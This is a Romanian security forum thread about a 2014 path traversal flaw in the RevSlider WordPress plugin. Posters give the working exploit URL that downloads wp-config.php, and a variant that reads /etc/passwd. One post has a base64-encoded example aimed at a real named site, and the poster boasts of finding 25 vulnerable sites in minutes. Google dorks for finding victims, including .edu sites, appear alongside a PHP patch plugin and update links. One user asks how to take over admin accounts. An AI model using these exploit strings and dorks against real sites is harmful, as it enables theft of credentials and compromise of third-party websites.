old66 Posted September 4, 2014 Report Posted September 4, 2014 (edited) Oricine are un site WordPRess cu RevSlider 4.6 instalat, e bine sa citeasca.Textul original aici:There is a major security issue that is easy to exploit that requires an update to the plugin. Essentially all anyone has to do is enter the following url on a vulnerable website:http://DOMAIN-HERE/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.phpThat will download the wp-config.php file which includes your database credentials. I checked it on some of my sites and found several vulnerable. It is urgent that you update the plugin.Steps to patch:1. Download the latest version, here is a link straight from the developer https://www.dropbox.com/s/2m9taf90gheka5d/codecanyon-2751380-slider-revolution-responsive-wordpress-plugin.zip?dl=02. Log into the wordpress website that has the plugin installed3. Click on the settings for the plugin and scroll to the very bottom4. There will be a button on the right to update the plugin5. Self explanatory from thereDo not delete the plugin and reupload because all your sliders will be lost. After you download the latest from the link above, you have to unzip the file and in there you will see the plugin and all the documentation.P.S. Nu am testat personal patch-ul .... inca.Sursa: [GET] RevSlider 4.6 - URGENT SECURITY VULNERABILITY - Must read Edited September 4, 2014 by old66 2 Quote
old66 Posted September 4, 2014 Author Report Posted September 4, 2014 (edited) Si un exemplu:aHR0cDovL2FuZHJlZWFzY2x1Yi5yby93cC1hZG1pbi9hZG1pbi1hamF4LnBocD9hY3Rpb249cmV2c2xpZGVyX3Nob3dfaW1hZ2UmaW1nPS4uL3dwLWNvbmZpZy5waHA=P.S. Am gasit 25 de site-uri vulnerabile in 5 min. Edited September 4, 2014 by old66 Quote
Byte-ul Posted September 4, 2014 Report Posted September 4, 2014 Mai interesant:/wp-admin/admin-ajax.php?action=revslider_show_image&img=../../../../../../../../../etc/passwd Quote
old66 Posted September 4, 2014 Author Report Posted September 4, 2014 Se pare ca e cunoscut de prin iulie ...WordPress Slider Revolution Responsive 4.1.4 File Download - Intelligent Exploit Quote
Moderators Dragos Posted September 4, 2014 Moderators Report Posted September 4, 2014 Wtf, nici macar nu cere sa te loghezi ca sa descarci fisierele. Quote
Moderators Dragos Posted September 4, 2014 Moderators Report Posted September 4, 2014 (edited) Dublu post util.Daca aveti aceeasi problema ca si mine ca Revolution Slider e bagat in template si nu-l puteti modifica fara sa modificati tot template-ul, luati de aici un plugin cu patch-ul pentru vulnerabilitate.<?php/*Plugin Name: Patch pentru Revolution SliderAuthor: DragosDescription: Repara vulnerabilitatea de download din revolution slider.Version: 1.0*/if(stristr($_SERVER["SCRIPT_FILENAME"],"/wp-admin/admin-ajax.php")){ $file = preg_replace('/[^\da-zA-Z0-9 -_.]/i', '', $_GET['img']); $q = explode(".",$file); $acceptate = array("jpg","JPG","jpeg","gif","png","PNG","GIF"); if (!in_array($q[count($q)-1],$acceptate) || !file_exists($file)) { die("Access denied."); }}?> Edited September 4, 2014 by Dragos Quote
robertutzu Posted September 4, 2014 Report Posted September 4, 2014 la 187k de rezultate cu revslider this is big shit Quote
Moderators Dragos Posted September 4, 2014 Moderators Report Posted September 4, 2014 (edited) Asta e dork-ul bun cu 442000 de rezultate. Shitinurl:revslider/views/templates/dialog_preview_slide.phpEdit, avem si edu-uriallinurl:revslider/views/templates/dialog_preview_slide.php eduEDIT: Pentru tinerii feciori care se apuca sa devina hackeri peste noapte, nu aveti ce face cu wp-configul daca nu aveti acces direct catre phpmyadmin sau catre panoul de administrare al bazei de date. Edited September 4, 2014 by Dragos Quote
tromfil Posted September 4, 2014 Report Posted September 4, 2014 Problema pare a fi veche (adic? au comentat liniile, iar acum le-au readus live, deci ar trebui s? mearg? ?i pe versiuni mai vechi).https://github.com/anattadesign/gunter/blob/master/wp-content/plugins/revslider/inc_php/image_view.class.php$revSliderVersion = "2.2.4";https://github.com/anattadesign/gunter/blob/master/wp-content/plugins/revslider/revslider.phpFunc?iile astea sunt la fel de dubioase, dar n-am stat s? caut de pe unde vin. Cine are timp cel mai probabil mai g?se?te probleme grave în plugin. //------------------------------------------------------------------------------------------ // download image, change size and name if needed. public function downloadImage($filename){ $filepath = $this->urlImages."/".$filename; if(!is_file($filepath)) { echo "file doesn't exists"; exit(); } $this->outputImageForDownload($filepath,$filename); } //------------------------------------------------------------------------------------------ // output image for downloading private function outputImageForDownload($filepath,$filename,$mimeType=""){ $contents = file_get_contents($filepath); $filesize = strlen($contents); if($mimeType == ""){ $info = UniteFunctionsRev::getPathInfo($filepath); $ext = $info["extension"]; $mimeType = "image/$ext"; } header("Content-Type: $mimeType"); header("Content-Disposition: attachment; filename=\"$filename\""); header("Content-Length: $filesize"); echo $contents; exit(); }PS: Posibil s? gre?esc, n-am stat s? verific prea mult. Quote
Pacalici Posted September 4, 2014 Report Posted September 4, 2014 Scrie si pe pagina de codecanyon ca oricine are sub 4.1.4 ar face bine sa faca update, deci e problema veche de care stiu si ei.Version 4.1.4 or older must be updated immediately to avoid Critical Vulnerability Quote
dustfeather Posted September 7, 2014 Report Posted September 7, 2014 EDIT: Pentru tinerii feciori care se apuca sa devina hackeri peste noapte, nu aveti ce face cu wp-configul daca nu aveti acces direct catre phpmyadmin sau catre panoul de administrare al bazei de date.Nuuuuuuuuuu Quote
mrreboot Posted September 9, 2014 Report Posted September 9, 2014 Aici aveti ultima versiune patched (l-am avut inclus intr-un bundle cumparat si mi-au permis update)Download Link: https://mega.co.nz/#!fBREyLxK!6srS8EWSWYC7zvtImuGWSjPlbfC9R0fjzSf3cmaF60ESource: Envato Quote
anthony_ Posted September 14, 2014 Report Posted September 14, 2014 Is there a possibility to get an md5 password (or login admin wordpress site) if we know MySQL database password and user? Thanks for answare. Quote
Moderators Dragos Posted September 18, 2014 Moderators Report Posted September 18, 2014 Dupa ani si ani, plugin oficial de Wordpresshttps://wordpress.org/plugins/patch-for-revolution-slider/ Quote